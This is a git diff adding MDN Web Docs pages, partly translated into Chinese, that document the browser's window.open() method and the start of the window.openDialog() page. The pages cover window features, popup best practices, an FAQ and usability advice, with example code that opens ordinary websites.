+let strWindowFeatures = `
+    menubar=yes,
+    location=yes,
+    resizable=yes,
+    scrollbars=yes,
+    status=yes
+`;
+
+function openRequestedPopup() {
+    windowObjectReference =
+    window.open(
+        "http://www.cnn.com/",
+        "CNN_WindowName",
+        strWindowFeatures
+    );
+}
+ +
let WindowObjectReference;
+
+const openRequestedPopup = () => {
+    windowObjectReference = window.open(
+        "https://www.domainname.ext/path/ImageFile.png",
+        "DescriptiveWindowName",
+        "resizable,scrollbars,status"
+    );
+}
+
+ +

如果已经存在以 strWindowName 为名称的窗口,则不再打开一个新窗口,而是把 strUrl 加载到这个窗口中。在这种情况下,方法的返回值是这个已经打开的窗口,并忽略参数 strWindowFeaturesstrUrl设为空字符串时,可以在不改变窗口地址的情况下获得一个已经打开的同名窗口的引用。如果要在每次调用 window.open()时都打开一个新窗口,则要把参数 strWindowName 设置为 _blank

+ +

strWindowFeatures 是一个可选的字符串,包含了新窗口的一组用逗号分割的特性,在窗口打开之后,就不能用JavaScript改变窗口的功能和工具栏的设置。如果名称是 strWindowName 的窗口不存在并且又没有提供 strWindowFeatures 参数(或者 strWindowFeatures 参数为空字符串),则子窗口以父窗口默认的工具栏渲染。

+ +

如果 strWindowFeatures 参数中没有定义窗口大小,则新窗口的尺寸跟最近渲染的窗口尺寸一样。

+ +

如果 strWindowFeatures 参数中没有定义窗口位置,则新窗口显示在最近渲染的窗口的坐标偏移22个像素的位置。这种新窗口偏移量的做法被浏览器开发商广泛地实现(MSIE 6 SP2在默认主题下的偏移量是29个像素),目的是提醒用户注意有新的窗口打开。如果最近使用的窗口是最大化的,则没有这22像素的偏移,新(子)窗口也会被最大化。

+ +

如果你定义了 strWindowFeatures 参数,那么没有在这个字符串中列出的特性会被禁用或移除 (除了 titlebarclose 默认设置为yes)

+ +
+

提示: 如果你使用了 strWindowFeatures 参数,那么只需要列出新窗口中启用的特性,其它的特性(除了titlebarclose)将被禁用或移除。

+
+ +

Firefox Chrome Toolbars Illustration

+ +

位置尺寸特征

+ +

+ +
{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}
+ +

Note on position and dimension error correction

+ +
{{bug(176320)}}
+ +

Note on precedence

+ +
+
left
+
Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
top
+
Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
height
+
Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
width
+
Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
screenX
+
Deprecated. Same as left but only supported by Netscape and Mozilla-based browsers.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
screenY
+
Deprecated. Same as top but only supported by Netscape and Mozilla-based browsers.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
centerscreen
+
Centers the window in relation to its parent's size and position. Requires chrome=yes.
+
outerHeight
+
Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.
+
Note: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
outerWidth
+
Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
innerHeight
+
Same as height but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The innerHeight value includes the height of the horizontal scrollbar if present. Minimal required value is 100.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
innerWidth
+
Same as width but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Toolbar and chrome features

+ +
+
NOTE: All features can be set to yes, 1 or just be present to be "on", set to no oror in most cases just not present to be "off"
+
example "status=yes", "status=1" and "status" have identical results
+
+
menubar
+
If this feature is on, then the new secondary window renders the menubar.
+
Mozilla and Firefox users can force new windows to always render the menubar by setting dom.disable_window_open_feature.menubar to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
toolbar
+
If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to no all toolbars in the window will be invisible, for example extension toolbars).
+
Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting dom.disable_window_open_feature.toolbar to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
location
+
If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.
+
Mozilla and Firefox users can force new windows to always render the location bar by setting dom.disable_window_open_feature.location to true in about:config or in their user.js file. {{Fx_minversion_note(3, "In Firefox 3, dom.disable_window_open_feature.location now defaults to true, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
personalbar
+
If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.
+
Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
directories {{obsolete_inline("2")}}
+
Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.
+
status
+
If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (Note on status bar in XP SP2) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.
+
Note on status bar
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Window functionality features

+ +
+
+
attention {{NonStandardBadge}}
+
If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/App_permissions", "Internal (Certified) app permissions")}} for more information.
+
Supported in:
+
dependent
+
If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.
+
Dependent windows are not implemented on MacOS X, this option will be ignored.
+
The dependent feature is currently under revision to be removed ({{Bug(214867)}})
+
In MSIE 6, the nearest equivalent to this feature is the showModelessDialog() method.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
dialog
+
MenuSystemCommands.pngThe dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
minimizable
+
This setting can only apply to dialog windows; "minimizable" requires dialog=yes. If minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and minimizable=no will be ignored.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
fullscreen
+
Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.
+
This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.
+
fullscreen always upsets users with large monitor screen or with dual monitor screen. Forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.
+
Note on fullscreen
+
Supported in: Internet Explorer 5+
+
fullscreen does not really work in MSIE 6 SP2.
+
resizable
+
If this feature is on, the new secondary window will be resizable.
+
Note: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar. +

Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})

+ +
+

Tip: For accessibility reasons, it is strongly recommended to set this feature always on

+
+
+
Mozilla and Firefox users can force new windows to be easily resizable by setting
+ dom.disable_window_open_feature.resizable
+ to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
scrollbars
+
If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport. +
+

Tip: For accessibility reasons, it is strongly encouraged to set this feature always on.

+
+
+
Mozilla and Firefox users can force this option to be always enabled for new windows by setting
+ dom.disable_window_open_feature.scrollbars
+ to true in about:config or in their user.js file.
+
Note on scrollbars
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Features requiring privileges

+ +

The following features require the UniversalBrowserWrite privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.

+ +
+
chrome
+
Note: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the UniversalBrowserWrite privilege ({{Bug(244965)}}). Without this privilege, it is ignored.
+
If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
modal
+
Note: Starting with Mozilla 1.2.1, this feature requires the UniversalBrowserWrite privilege ({{Bug(180048)}}). Without this privilege, it is ignored.
+
If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the alert() function.
+
The exact behavior of modal windows depends on the platform and on the Mozilla release version. +
+

Note: As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.

+
+
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
titlebar
+
By default, all new secondary windows have a titlebar. If set to no or 0, this feature removes the titlebar from the new secondary window.
+
Mozilla and Firefox users can force new windows to always render the titlebar by setting
+ dom.disable_window_open_feature.titlebar
+ to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
alwaysRaised
+
If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
alwaysLowered
+
If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
z-lock
+
Same as alwaysLowered.
+
close
+
When set to no or 0, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (dialog feature set). close=no will override minimizable=yes.
+
Mozilla and Firefox users can force new windows to always have a close button by setting
+ dom.disable_window_open_feature.close
+ to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a yes or no; you can use 1 instead of yes and 0 instead of no. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the features string. If you supply the features parameter, then the titlebar and close are still yes by default, but the other features which have a yes/no choice will be no by default and will be turned off.

+ +

Example:

+ +
var windowObjectReference; // global variable
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImgFile.png",
+    "DescriptiveWindowName",
+    "width=420,height=230,resizable,scrollbars=yes,status=1"
+  );
+}
+ +
+ +

In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), he added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.

+ +

Best practices

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+
+function openFFPromotionPopup() {
+  if(windowObjectReference == null || windowObjectReference.closed)
+  /* if the pointer to the window object in memory does not exist
+     or if such pointer exists but the window was closed */
+
+  {
+    windowObjectReference = window.open("http://www.spreadfirefox.com/",
+   "PromoteFirefoxWindowName", "resizable,scrollbars,status");
+    /* then create it. The new window will be created and
+       will be brought on top of any other window. */
+  }
+  else
+  {
+    windowObjectReference.focus();
+    /* else the window reference must exist and the window
+       is not closed; therefore, we can bring it back on top of any other
+       window with the focus() method. There would be no need to re-create
+       the window or to reload the referenced resource. */
+  };
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindowName"
+ onclick="openFFPromotionPopup(); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+ +
+ +
+ +

The above code solves a few usability problems related to links opening secondary window. The purpose of the return false in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".

+ +

More reading on the use of the target attribute:

+ +

HTML 4.01 Target attribute specifications

+ +

How do I create a link that opens a new window?

+ +

You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, strWindowName,
+           "resizable,scrollbars,status");
+  } else {
+    windowObjectReference.focus();
+  };
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindow"
+ onclick="openRequestedPopup(this.href, this.target); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+ +
+ +

You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+                    url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+         "resizable,scrollbars,status");
+  } else if(PreviousUrl != strUrl) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+      "resizable=yes,scrollbars=yes,status=yes");
+    /* if the resource to load is different,
+       then we load it in the already opened secondary window and then
+       we bring such window back on top/in front of its parent window. */
+    windowObjectReference.focus();
+  } else {
+    windowObjectReference.focus();
+  };
+
+  PreviousUrl = strUrl;
+  /* explanation: we store the current url in order to compare url
+     in the event of another call of this function. */
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+<p><a
+ href="http://www.mozilla.org/support/firefox/faq"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Firefox FAQ</a></p>
+
+ +

FAQ

+ +
+
How can I prevent the confirmation message asking the user whether he wants to close the window?
+
You can not. New windows not opened by javascript can not as a rule be closed by JavaScript. The JavaScript Console in Mozilla-based browsers will report the warning message: "Scripts may not close windows that were not opened by script." Otherwise the history of URLs visited during the browser session would be lost.
+
More on the window.close() method
+
How can I bring back the window if it is minimized or behind another window?
+
First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the focus() method. There is no other reliable way. You can examine an example explaining how to use the focus() method.
+
How do I force a maximized window?
+
You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.
+
How do I turn off window resizability or remove toolbars?
+
You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in about:config. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.
+
How do I resize a window to fit its content?
+
You can not reliably because the users can prevent the window from being resized by unchecking the Edit/Preferences/Advanced/Scripts & Plug-ins/Allow Scripts to/ Move or resize existing windows checkbox in Mozilla or Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows checkbox in Firefox or by setting dom.disable_window_move_resize to true in about:config or by editing accordingly their user.js file.
+
In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.
+
The window method sizeToContent() is also disabled if the user unchecks the preference Move or resize existing windows checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.
+
How do I open a referenced resource of a link in a new tab? or in a specific tab?
+
To open a resource in a new tab see Tabbed browser. Some Code snippets are available. If you are using the SDK, tabs are handled a bit differently
+
K-meleon 1.1, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.
+
In a few years, the target property of the CSS3 hyperlink module may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.
+
How do I know whether a window I opened is still open?
+
You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that windowObjectReference.closed return value is false.
+
How can I tell when my window was blocked by a popup blocker?
+
With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of window.open(): it will be null if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.
+
What is the JavaScript relationship between the main window and the secondary window?
+
The window.open() method gives a main window a reference to a secondary window; the opener property gives a secondary window a reference to its main window.
+
I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error: uncaught exception: Permission denied to get property <property_name or method_name>. Why is that?
+
It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) cannot get nor set properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.
+
More reading on the cross-domain script security restriction: http://www.mozilla.org/projects/secu...me-origin.html
+
+ +

Usability issues

+ +

Avoid resorting to window.open()

+ +

Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:

+ + + + + +

If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:

+ +

Never use this form of code for links: <a href="javascript:window.open(...)" ...>

+ +

"javascript:" links break accessibility and usability of webpages in every browser.

+ + + +

Further reading:

+ + + +

Never use <a href="#" onclick="window.open(...);">

+ +

Such pseudo-link also breaks accessibility of links. Always use a real URL for the href attribute value so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.

+ + + +

Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.

+ +

The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).

+ +
+

"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out Back button."
+ quote from The Top Ten New Mistakes of Web Design: 2. Opening New Browser Windows, Jakob Nielsen, May 1999

+
+ +

When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).

+ +

References

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Example "New Window" Icons & Cursors
New window icon from yahoo.comNew window icon from microsoft.comNew window icon from webaim.orgNew window icon from sun.com
New window icon from bbc.co.ukNew window icon from Accessible Internet SolutionsNew window icon from accessify.comNew window icon from webstyleguide.com
New window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from gtalbot.org
New window cursor from draig.deNew window cursor from mithgol.ru
+ +

Always use the target attribute

+ +

If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - not impose - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.

+ +

Do not use target="_blank"

+ +

Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).

+ +

Glossary

+ +
+
Opener window, parent window, main window, first window
+
Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.
+
Sub-window, child window, secondary window, second window
+
Terms often used to describe or to identify the same window. It is the new window which was created.
+
Unrequested popup windows
+
Script-initiated windows opening automatically without the user's consent.
+
+ +

规范

+ +

HTML5. See http://www.w3.org/TR/html5/browsers.html#dom-open for details.

+ +

注意

+ +

优先注意事项

+ +

In cases where left and screenX (and/or top and screenY) have conflicting values, then left and top have precedence over screenX and screenY respectively. If left and screenX (and/or top and screenY) are defined in the features list, then left (and/or top) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.

+ +
windowObjectReference = window.open(
+  "http://news.bbc.co.uk/",
+  "BBCWorldNewsWindowName",
+  "left=100,screenX=200,resizable,scrollbars,status"
+);
+ +
+ +

If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.

+ +

outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.

+ +
windowObjectReference = window.open(
+  "http://www.wwf.org/",
+  "WWildlifeOrgWindowName",
+  "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
+);
+ +
+ +

Note on position and dimension error correction

+ +

Requested position and requested dimension values in the features list will not be honored and will be corrected if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.

+ +

MSIE 6 SP2 has a similar error correction mechanism but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.

+ +

Note on scrollbars

+ +

When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:

+ + + +

Note on status bar

+ +

You should assume that a large majority of users' browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with SSL connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.

+ +

Note on security issues of the status bar presence

+ +

In MSIE 6 for XP SP2: For windows opened using window.open():

+ +
+

"For windows opened using window.open():
+ Expect the status bar to be present, and code for it. The status bar will be on by default and is 20-25 pixels in height. (...)"
+ quote from Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2

+
+ +
+

"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)
+ Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar. (...)
+ Script management of Internet Explorer status bar
+ Detailed description
+ Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows. (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"
+ quote from Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions

+
+ +

Note on fullscreen

+ +

In MSIE 6 for XP SP2:

+ + + +

References:

+ + + +

Note on outerHeight versus height

+ +

innerHeight vs outerHeight illustration

+ +

Note on refreshing vs. opening a new window/tab

+ +

If the strWindowName parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.

+ +
//Always opens a new window/tab
+window.open("map.php");
+
+//Refreshes an existing window/tab that was opened with the same name, if one exists
+window.open("map.php", "BiggerMap");
+
+ +
+ +

教程

+ + + +

参考文献

+ + diff --git a/files/zh-cn/web/api/window/opendialog/index.html b/files/zh-cn/web/api/window/opendialog/index.html new file mode 100644 index 0000000000..80705cd7aa --- /dev/null +++ b/files/zh-cn/web/api/window/opendialog/index.html @@ -0,0 +1,71 @@ +--- +title: window.openDialog +slug: Web/API/Window/openDialog +tags: + - Gecko DOM Reference +translation_of: Web/API/Window/openDialog +--- +

{{ ApiRef() }}

+

简介

+

window.openDialog 是对window.open的扩展。和它一样,可以传递windowFeatures参数, 但是 windowFeatures 的方式有变化。

+

The optional parameters, if present, will be bundled up in a JavaScript Array object and added to the newly created window as a property named window.arguments. They may be referenced in the JavaScript of the window at any time, including during the execution of a load handler. These parameters may be used, then, to pass arguments to and from the dialog window.

+

Note that the call to openDialog() returns immediately. If you want the call to block until the user has closed the dialog, supply modal as a windowFeatures parameter. Note that this also means the user won't be able to interact with the opener window until he closes the modal dialog.

+

语法

+
newWindow = openDialog(url,name,features,arg1,arg2, ...)
+
+
+
+ newWindow 
+
+ 打开的窗口对象。
+
+ url 
+
+ 要在新窗口里打开的地址。
+
